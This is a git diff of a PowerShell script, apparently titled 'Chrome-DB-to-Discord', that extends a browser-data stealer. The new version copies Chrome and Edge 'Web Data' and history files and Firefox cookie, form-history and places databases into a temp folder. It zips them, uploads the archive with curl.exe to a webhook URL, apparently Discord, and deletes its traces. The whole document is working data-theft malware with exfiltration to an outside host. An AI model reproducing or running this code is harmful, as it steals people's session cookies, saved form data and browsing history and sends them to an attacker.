diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 index 792da24..52160c7 100644 --- a/Chrome-DB-to-Discord/main.ps1 +++ b/Chrome-DB-to-Discord/main.ps1 @@ -1,27 +1,56 @@ $dc = "$dc" -if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} -$sourceDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data" -$tempFolder = [System.IO.Path]::GetTempPath() + "loot" -if (!(Test-Path $tempFolder)){ - New-Item -Path $tempFolder -ItemType Directory -Force -} +$temp = [System.IO.Path]::GetTempPath() +$tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles' +$googledest = Join-Path -Path $tempFolder -ChildPath 'google' +$mozdest = Join-Path -Path $tempFolder -ChildPath 'firefox' +$edgedest = Join-Path -Path $tempFolder -ChildPath 'edge' +New-Item -Path $tempFolder -ItemType Directory -Force +sleep 1 +New-Item -Path $googledest -ItemType Directory -Force +New-Item -Path $mozdest -ItemType Directory -Force +New-Item -Path $edgedest -ItemType Directory -Force -$filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' } -foreach ($file in $filesToCopy) { - $randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_}) - $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db' - $destination = Join-Path -Path $tempFolder -ChildPath $newFileName - Copy-Item -Path $file.FullName -Destination $destination -Force -} -$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "loot.zip") -Compress-Archive -Path $tempFolder -DestinationPath $zipFileName -$tempFolders = Get-ChildItem -Path $tempFolder -Directory -foreach ($folder in $tempFolders) { - if ($folder.Name -ne "loot") { - Remove-Item -Path $folder.FullName -Recurse -Force +sleep 1 + +Function CopyFiles { + + param ([string]$dbfile,[string]$folder,[switch]$db) + + Write-Host "Input : $dbfile Selected" + Write-Host "Folder : $folder Selected" + + $filesToCopy = Get-ChildItem -Path $dbfile -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' -or $_.Name -like 'formhistory.sqlite' -or $_.Name -like 'places.sqlite' -or $_.Name -like 'cookies.sqlite'} + + foreach ($file in $filesToCopy) { + + Write-Host $file + $randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_}) + if ($db -eq $true){ + $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db' + } + else{ + $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + } + $destination = Join-Path -Path $folder -ChildPath $newFileName + Copy-Item -Path $file.FullName -Destination $destination -Force } -} + +} + +$script:googleDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data" +$script:firefoxDir = Get-ChildItem -Path "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles" -Directory | Where-Object { $_.Name -like '*.default-release' };$firefoxDir = $firefoxDir.FullName +$script:edgeDir = "$Env:USERPROFILE\AppData\Local\Microsoft\Edge\User Data" + +copyFiles -dbfile $googleDir -folder $googledest -db +copyFiles -dbfile $firefoxDir -folder $mozdest +copyFiles -dbfile $edgeDir -folder $edgedest -db + +$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "dbfiles.zip") +Compress-Archive -Path $tempFolder -DestinationPath $zipFileName + Remove-Item -Path $tempFolder -Recurse -Force curl.exe -F file1=@"$zipFileName" $dc | Out-Null +sleep 1 +Remove-Item -Path $zipFileName -Recurse -Force